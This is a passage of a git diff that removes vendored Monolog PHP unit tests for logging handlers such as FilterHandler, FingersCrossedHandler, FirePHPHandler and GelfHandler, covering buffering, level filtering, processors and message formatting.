$handler->getAcceptedLevels()); - - $levels = array(Logger::CRITICAL, Logger::ALERT, Logger::EMERGENCY); - $handler->setAcceptedLevels(Logger::CRITICAL, Logger::EMERGENCY); - $this->assertSame($levels, $handler->getAcceptedLevels()); - - $handler->setAcceptedLevels('critical', 'emergency'); - $this->assertSame($levels, $handler->getAcceptedLevels()); - } - - /** - * @covers Monolog\Handler\FilterHandler::handle - */ - public function testHandleUsesProcessors() - { - $test = new TestHandler(); - $handler = new FilterHandler($test, Logger::DEBUG, Logger::EMERGENCY); - $handler->pushProcessor( - function ($record) { - $record['extra']['foo'] = true; - - return $record; - } - ); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } - - /** - * @covers Monolog\Handler\FilterHandler::handle - */ - public function testHandleRespectsBubble() - { - $test = new TestHandler(); - - $handler = new FilterHandler($test, Logger::INFO, Logger::NOTICE, false); - $this->assertTrue($handler->handle($this->getRecord(Logger::INFO))); - $this->assertFalse($handler->handle($this->getRecord(Logger::WARNING))); - - $handler = new FilterHandler($test, Logger::INFO, Logger::NOTICE, true); - $this->assertFalse($handler->handle($this->getRecord(Logger::INFO))); - $this->assertFalse($handler->handle($this->getRecord(Logger::WARNING))); - } - - /** - * @covers Monolog\Handler\FilterHandler::handle - */ - public function testHandleWithCallback() - { - $test = new TestHandler(); - $handler = new FilterHandler( - function ($record, $handler) use ($test) { - return $test; - }, Logger::INFO, Logger::NOTICE, false - ); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertFalse($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\FilterHandler::handle - * @expectedException \RuntimeException - */ - public function testHandleWithBadCallbackThrowsException() - { - $handler = new FilterHandler( - function ($record, $handler) { - return 'foo'; - } - ); - $handler->handle($this->getRecord(Logger::WARNING)); - } - - public function testHandleEmptyBatch() - { - $test = new TestHandler(); - $handler = new FilterHandler($test); - $handler->handleBatch(array()); - $this->assertSame(array(), $test->getRecords()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/FingersCrossedHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/FingersCrossedHandlerTest.php deleted file mode 100644 index 5098220d0c..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/FingersCrossedHandlerTest.php +++ /dev/null @@ -1,280 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; -use Monolog\Handler\FingersCrossed\ChannelLevelActivationStrategy; -use Psr\Log\LogLevel; - -class FingersCrossedHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\FingersCrossedHandler::__construct - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleBuffers() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertFalse($test->hasDebugRecords()); - $this->assertFalse($test->hasInfoRecords()); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->close(); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 3); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleStopsBufferingAfterTrigger() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->close(); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasDebugRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - * @covers Monolog\Handler\FingersCrossedHandler::reset - */ - public function testHandleResetBufferingAfterReset() - { - $test = new TestHandler(); - $test->setSkipReset(true); - $handler = new FingersCrossedHandler($test); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->reset(); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->close(); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasDebugRecords()); - $this->assertFalse($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleResetBufferingAfterBeingTriggeredWhenStopBufferingIsDisabled() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, Logger::WARNING, 0, false, false); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->close(); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasDebugRecords()); - $this->assertFalse($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleBufferLimit() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, Logger::WARNING, 2); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertFalse($test->hasDebugRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleWithCallback() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler(function ($record, $handler) use ($test) { - return $test; - }); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertFalse($test->hasDebugRecords()); - $this->assertFalse($test->hasInfoRecords()); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 3); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - * @expectedException RuntimeException - */ - public function testHandleWithBadCallbackThrowsException() - { - $handler = new FingersCrossedHandler(function ($record, $handler) { - return 'foo'; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::isHandling - */ - public function testIsHandlingAlways() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, Logger::ERROR); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::__construct - * @covers Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy::__construct - * @covers Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy::isHandlerActivated - */ - public function testErrorLevelActivationStrategy() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ErrorLevelActivationStrategy(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::__construct - * @covers Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy::__construct - * @covers Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy::isHandlerActivated - */ - public function testErrorLevelActivationStrategyWithPsrLevel() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ErrorLevelActivationStrategy('warning')); - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::__construct - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testOverrideActivationStrategy() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ErrorLevelActivationStrategy('warning')); - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - $handler->activate(); - $this->assertTrue($test->hasDebugRecords()); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertTrue($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossed\ChannelLevelActivationStrategy::__construct - * @covers Monolog\Handler\FingersCrossed\ChannelLevelActivationStrategy::isHandlerActivated - */ - public function testChannelLevelActivationStrategy() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ChannelLevelActivationStrategy(Logger::ERROR, array('othertest' => Logger::DEBUG))); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertFalse($test->hasWarningRecords()); - $record = $this->getRecord(Logger::DEBUG); - $record['channel'] = 'othertest'; - $handler->handle($record); - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossed\ChannelLevelActivationStrategy::__construct - * @covers Monolog\Handler\FingersCrossed\ChannelLevelActivationStrategy::isHandlerActivated - */ - public function testChannelLevelActivationStrategyWithPsrLevels() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ChannelLevelActivationStrategy('error', array('othertest' => 'debug'))); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertFalse($test->hasWarningRecords()); - $record = $this->getRecord(Logger::DEBUG); - $record['channel'] = 'othertest'; - $handler->handle($record); - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::handle - * @covers Monolog\Handler\FingersCrossedHandler::activate - */ - public function testHandleUsesProcessors() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, Logger::INFO); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::close - */ - public function testPassthruOnClose() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ErrorLevelActivationStrategy(Logger::WARNING), 0, true, true, Logger::INFO); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->close(); - $this->assertFalse($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\FingersCrossedHandler::close - */ - public function testPsrLevelPassthruOnClose() - { - $test = new TestHandler(); - $handler = new FingersCrossedHandler($test, new ErrorLevelActivationStrategy(Logger::WARNING), 0, true, true, LogLevel::INFO); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->close(); - $this->assertFalse($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/FirePHPHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/FirePHPHandlerTest.php deleted file mode 100644 index 3544efe280..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/FirePHPHandlerTest.php +++ /dev/null @@ -1,96 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\FirePHPHandler - */ -class FirePHPHandlerTest extends TestCase -{ - public function setUp() - { - TestFirePHPHandler::resetStatic(); - $_SERVER['HTTP_USER_AGENT'] = 'Monolog Test; FirePHP/1.0'; - } - - public function testHeaders() - { - $handler = new TestFirePHPHandler; - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING)); - - $expected = array( - 'X-Wf-Protocol-1' => 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2', - 'X-Wf-1-Structure-1' => 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1', - 'X-Wf-1-Plugin-1' => 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3', - 'X-Wf-1-1-1-1' => 'test', - 'X-Wf-1-1-1-2' => 'test', - ); - - $this->assertEquals($expected, $handler->getHeaders()); - } - - public function testConcurrentHandlers() - { - $handler = new TestFirePHPHandler; - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING)); - - $handler2 = new TestFirePHPHandler; - $handler2->setFormatter($this->getIdentityFormatter()); - $handler2->handle($this->getRecord(Logger::DEBUG)); - $handler2->handle($this->getRecord(Logger::WARNING)); - - $expected = array( - 'X-Wf-Protocol-1' => 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2', - 'X-Wf-1-Structure-1' => 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1', - 'X-Wf-1-Plugin-1' => 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3', - 'X-Wf-1-1-1-1' => 'test', - 'X-Wf-1-1-1-2' => 'test', - ); - - $expected2 = array( - 'X-Wf-1-1-1-3' => 'test', - 'X-Wf-1-1-1-4' => 'test', - ); - - $this->assertEquals($expected, $handler->getHeaders()); - $this->assertEquals($expected2, $handler2->getHeaders()); - } -} - -class TestFirePHPHandler extends FirePHPHandler -{ - protected $headers = array(); - - public static function resetStatic() - { - self::$initialized = false; - self::$sendHeaders = true; - self::$messageIndex = 1; - } - - protected function sendHeader($header, $content) - { - $this->headers[$header] = $content; - } - - public function getHeaders() - { - return $this->headers; - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/FleepHookHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/FleepHookHandlerTest.php deleted file mode 100644 index 1b7bc5e45e..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/FleepHookHandlerTest.php +++ /dev/null @@ -1,85 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; -use Monolog\TestCase; - -/** - * @coversDefaultClass \Monolog\Handler\FleepHookHandler - */ -class FleepHookHandlerTest extends TestCase -{ - /** - * Default token to use in tests - */ - const TOKEN = '123abc'; - - /** - * @var FleepHookHandler - */ - private $handler; - - public function setUp() - { - parent::setUp(); - - if (!extension_loaded('openssl')) { - $this->markTestSkipped('This test requires openssl extension to run'); - } - - // Create instances of the handler and logger for convenience - $this->handler = new FleepHookHandler(self::TOKEN); - } - - /** - * @covers ::__construct - */ - public function testConstructorSetsExpectedDefaults() - { - $this->assertEquals(Logger::DEBUG, $this->handler->getLevel()); - $this->assertEquals(true, $this->handler->getBubble()); - } - - /** - * @covers ::getDefaultFormatter - */ - public function testHandlerUsesLineFormatterWhichIgnoresEmptyArrays() - { - $record = array( - 'message' => 'msg', - 'context' => array(), - 'level' => Logger::DEBUG, - 'level_name' => Logger::getLevelName(Logger::DEBUG), - 'channel' => 'channel', - 'datetime' => new \DateTime(), - 'extra' => array(), - ); - - $expectedFormatter = new LineFormatter(null, null, true, true); - $expected = $expectedFormatter->format($record); - - $handlerFormatter = $this->handler->getFormatter(); - $actual = $handlerFormatter->format($record); - - $this->assertEquals($expected, $actual, 'Empty context and extra arrays should not be rendered'); - } - - /** - * @covers ::__construct - */ - public function testConnectionStringisConstructedCorrectly() - { - $this->assertEquals('ssl://' . FleepHookHandler::FLEEP_HOST . ':443', $this->handler->getConnectionString()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/FlowdockHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/FlowdockHandlerTest.php deleted file mode 100644 index 832b8c8f77..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/FlowdockHandlerTest.php +++ /dev/null @@ -1,88 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FlowdockFormatter; -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @author Dominik Liebler - * @see https://www.hipchat.com/docs/api - */ -class FlowdockHandlerTest extends TestCase -{ - /** - * @var resource - */ - private $res; - - /** - * @var FlowdockHandler - */ - private $handler; - - public function setUp() - { - if (!extension_loaded('openssl')) { - $this->markTestSkipped('This test requires openssl to run'); - } - } - - public function testWriteHeader() - { - $this->createHandler(); - $this->handler->handle($this->getRecord(Logger::CRITICAL, 'test1')); - fseek($this->res, 0); - $content = fread($this->res, 1024); - - $this->assertRegexp('/POST \/v1\/messages\/team_inbox\/.* HTTP\/1.1\\r\\nHost: api.flowdock.com\\r\\nContent-Type: application\/json\\r\\nContent-Length: \d{2,4}\\r\\n\\r\\n/', $content); - - return $content; - } - - /** - * @depends testWriteHeader - */ - public function testWriteContent($content) - { - $this->assertRegexp('/"source":"test_source"/', $content); - $this->assertRegexp('/"from_address":"source@test\.com"/', $content); - } - - private function createHandler($token = 'myToken') - { - $constructorArgs = array($token, Logger::DEBUG); - $this->res = fopen('php://memory', 'a'); - $this->handler = $this->getMock( - '\Monolog\Handler\FlowdockHandler', - array('fsockopen', 'streamSetTimeout', 'closeSocket'), - $constructorArgs - ); - - $reflectionProperty = new \ReflectionProperty('\Monolog\Handler\SocketHandler', 'connectionString'); - $reflectionProperty->setAccessible(true); - $reflectionProperty->setValue($this->handler, 'localhost:1234'); - - $this->handler->expects($this->any()) - ->method('fsockopen') - ->will($this->returnValue($this->res)); - $this->handler->expects($this->any()) - ->method('streamSetTimeout') - ->will($this->returnValue(true)); - $this->handler->expects($this->any()) - ->method('closeSocket') - ->will($this->returnValue(true)); - - $this->handler->setFormatter(new FlowdockFormatter('test_source', 'source@test.com')); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerLegacyTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerLegacyTest.php deleted file mode 100644 index 13a778488a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerLegacyTest.php +++ /dev/null @@ -1,95 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Gelf\Message; -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\GelfMessageFormatter; - -class GelfHandlerLegacyTest extends TestCase -{ - public function setUp() - { - if (!class_exists('Gelf\MessagePublisher') || !class_exists('Gelf\Message')) { - $this->markTestSkipped("mlehner/gelf-php not installed"); - } - - require_once __DIR__ . '/GelfMockMessagePublisher.php'; - } - - /** - * @covers Monolog\Handler\GelfHandler::__construct - */ - public function testConstruct() - { - $handler = new GelfHandler($this->getMessagePublisher()); - $this->assertInstanceOf('Monolog\Handler\GelfHandler', $handler); - } - - protected function getHandler($messagePublisher) - { - $handler = new GelfHandler($messagePublisher); - - return $handler; - } - - protected function getMessagePublisher() - { - return new GelfMockMessagePublisher('localhost'); - } - - public function testDebug() - { - $messagePublisher = $this->getMessagePublisher(); - $handler = $this->getHandler($messagePublisher); - - $record = $this->getRecord(Logger::DEBUG, "A test debug message"); - $handler->handle($record); - - $this->assertEquals(7, $messagePublisher->lastMessage->getLevel()); - $this->assertEquals('test', $messagePublisher->lastMessage->getFacility()); - $this->assertEquals($record['message'], $messagePublisher->lastMessage->getShortMessage()); - $this->assertEquals(null, $messagePublisher->lastMessage->getFullMessage()); - } - - public function testWarning() - { - $messagePublisher = $this->getMessagePublisher(); - $handler = $this->getHandler($messagePublisher); - - $record = $this->getRecord(Logger::WARNING, "A test warning message"); - $handler->handle($record); - - $this->assertEquals(4, $messagePublisher->lastMessage->getLevel()); - $this->assertEquals('test', $messagePublisher->lastMessage->getFacility()); - $this->assertEquals($record['message'], $messagePublisher->lastMessage->getShortMessage()); - $this->assertEquals(null, $messagePublisher->lastMessage->getFullMessage()); - } - - public function testInjectedGelfMessageFormatter() - { - $messagePublisher = $this->getMessagePublisher(); - $handler = $this->getHandler($messagePublisher); - - $handler->setFormatter(new GelfMessageFormatter('mysystem', 'EXT', 'CTX')); - - $record = $this->getRecord(Logger::WARNING, "A test warning message"); - $record['extra']['blarg'] = 'yep'; - $record['context']['from'] = 'logger'; - $handler->handle($record); - - $this->assertEquals('mysystem', $messagePublisher->lastMessage->getHost()); - $this->assertArrayHasKey('_EXTblarg', $messagePublisher->lastMessage->toArray()); - $this->assertArrayHasKey('_CTXfrom', $messagePublisher->lastMessage->toArray()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerTest.php deleted file mode 100644 index 469f000ffa..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/GelfHandlerTest.php +++ /dev/null @@ -1,117 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Gelf\Message; -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\GelfMessageFormatter; - -class GelfHandlerTest extends TestCase -{ - public function setUp() - { - if (!class_exists('Gelf\Publisher') || !class_exists('Gelf\Message')) { - $this->markTestSkipped("graylog2/gelf-php not installed"); - } - } - - /** - * @covers Monolog\Handler\GelfHandler::__construct - */ - public function testConstruct() - { - $handler = new GelfHandler($this->getMessagePublisher()); - $this->assertInstanceOf('Monolog\Handler\GelfHandler', $handler); - } - - protected function getHandler($messagePublisher) - { - $handler = new GelfHandler($messagePublisher); - - return $handler; - } - - protected function getMessagePublisher() - { - return $this->getMock('Gelf\Publisher', array('publish'), array(), '', false); - } - - public function testDebug() - { - $record = $this->getRecord(Logger::DEBUG, "A test debug message"); - $expectedMessage = new Message(); - $expectedMessage - ->setLevel(7) - ->setFacility("test") - ->setShortMessage($record['message']) - ->setTimestamp($record['datetime']) - ; - - $messagePublisher = $this->getMessagePublisher(); - $messagePublisher->expects($this->once()) - ->method('publish') - ->with($expectedMessage); - - $handler = $this->getHandler($messagePublisher); - - $handler->handle($record); - } - - public function testWarning() - { - $record = $this->getRecord(Logger::WARNING, "A test warning message"); - $expectedMessage = new Message(); - $expectedMessage - ->setLevel(4) - ->setFacility("test") - ->setShortMessage($record['message']) - ->setTimestamp($record['datetime']) - ; - - $messagePublisher = $this->getMessagePublisher(); - $messagePublisher->expects($this->once()) - ->method('publish') - ->with($expectedMessage); - - $handler = $this->getHandler($messagePublisher); - - $handler->handle($record); - } - - public function testInjectedGelfMessageFormatter() - { - $record = $this->getRecord(Logger::WARNING, "A test warning message"); - $record['extra']['blarg'] = 'yep'; - $record['context']['from'] = 'logger'; - - $expectedMessage = new Message(); - $expectedMessage - ->setLevel(4) - ->setFacility("test") - ->setHost("mysystem") - ->setShortMessage($record['message']) - ->setTimestamp($record['datetime']) - ->setAdditional("EXTblarg", 'yep') - ->setAdditional("CTXfrom", 'logger') - ; - - $messagePublisher = $this->getMessagePublisher(); - $messagePublisher->expects($this->once()) - ->method('publish') - ->with($expectedMessage); - - $handler = $this->getHandler($messagePublisher); - $handler->setFormatter(new GelfMessageFormatter('mysystem', 'EXT', 'CTX')); - $handler->handle($record); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/GelfMockMessagePublisher.php b/vendor/monolog/monolog/tests/Monolog/Handler/GelfMockMessagePublisher.php deleted file mode 100644 index de195b124f..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/GelfMockMessagePublisher.php +++ /dev/null @@ -1,25 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Gelf\MessagePublisher; -use Gelf\Message; - -class GelfMockMessagePublisher extends MessagePublisher -{ - public function publish(Message $message) - { - $this->lastMessage = $message; - } - - public $lastMessage = null; -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/GroupHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/GroupHandlerTest.php deleted file mode 100644 index 616beee1e6..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/GroupHandlerTest.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class GroupHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\GroupHandler::__construct - * @expectedException InvalidArgumentException - */ - public function testConstructorOnlyTakesHandler() - { - new GroupHandler(array(new TestHandler(), "foo")); - } - - /** - * @covers Monolog\Handler\GroupHandler::__construct - * @covers Monolog\Handler\GroupHandler::handle - */ - public function testHandle() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new GroupHandler($testHandlers); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - } - } - - /** - * @covers Monolog\Handler\GroupHandler::handleBatch - */ - public function testHandleBatch() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new GroupHandler($testHandlers); - $handler->handleBatch(array($this->getRecord(Logger::DEBUG), $this->getRecord(Logger::INFO))); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - } - } - - /** - * @covers Monolog\Handler\GroupHandler::isHandling - */ - public function testIsHandling() - { - $testHandlers = array(new TestHandler(Logger::ERROR), new TestHandler(Logger::WARNING)); - $handler = new GroupHandler($testHandlers); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::ERROR))); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::WARNING))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\GroupHandler::handle - */ - public function testHandleUsesProcessors() - { - $test = new TestHandler(); - $handler = new GroupHandler(array($test)); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } - - /** - * @covers Monolog\Handler\GroupHandler::handle - */ - public function testHandleBatchUsesProcessors() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new GroupHandler($testHandlers); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->pushProcessor(function ($record) { - $record['extra']['foo2'] = true; - - return $record; - }); - $handler->handleBatch(array($this->getRecord(Logger::DEBUG), $this->getRecord(Logger::INFO))); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - $this->assertTrue($records[1]['extra']['foo']); - $this->assertTrue($records[0]['extra']['foo2']); - $this->assertTrue($records[1]['extra']['foo2']); - } - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/HandlerWrapperTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/HandlerWrapperTest.php deleted file mode 100644 index ff9d90cce0..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/HandlerWrapperTest.php +++ /dev/null @@ -1,130 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; - -/** - * @author Alexey Karapetov - */ -class HandlerWrapperTest extends TestCase -{ - /** - * @var HandlerWrapper - */ - private $wrapper; - - private $handler; - - public function setUp() - { - parent::setUp(); - $this->handler = $this->getMock('Monolog\\Handler\\HandlerInterface'); - $this->wrapper = new HandlerWrapper($this->handler); - } - - /** - * @return array - */ - public function trueFalseDataProvider() - { - return array( - array(true), - array(false), - ); - } - - /** - * @param $result - * @dataProvider trueFalseDataProvider - */ - public function testIsHandling($result) - { - $record = $this->getRecord(); - $this->handler->expects($this->once()) - ->method('isHandling') - ->with($record) - ->willReturn($result); - - $this->assertEquals($result, $this->wrapper->isHandling($record)); - } - - /** - * @param $result - * @dataProvider trueFalseDataProvider - */ - public function testHandle($result) - { - $record = $this->getRecord(); - $this->handler->expects($this->once()) - ->method('handle') - ->with($record) - ->willReturn($result); - - $this->assertEquals($result, $this->wrapper->handle($record)); - } - - /** - * @param $result - * @dataProvider trueFalseDataProvider - */ - public function testHandleBatch($result) - { - $records = $this->getMultipleRecords(); - $this->handler->expects($this->once()) - ->method('handleBatch') - ->with($records) - ->willReturn($result); - - $this->assertEquals($result, $this->wrapper->handleBatch($records)); - } - - public function testPushProcessor() - { - $processor = function () {}; - $this->handler->expects($this->once()) - ->method('pushProcessor') - ->with($processor); - - $this->assertEquals($this->wrapper, $this->wrapper->pushProcessor($processor)); - } - - public function testPopProcessor() - { - $processor = function () {}; - $this->handler->expects($this->once()) - ->method('popProcessor') - ->willReturn($processor); - - $this->assertEquals($processor, $this->wrapper->popProcessor()); - } - - public function testSetFormatter() - { - $formatter = 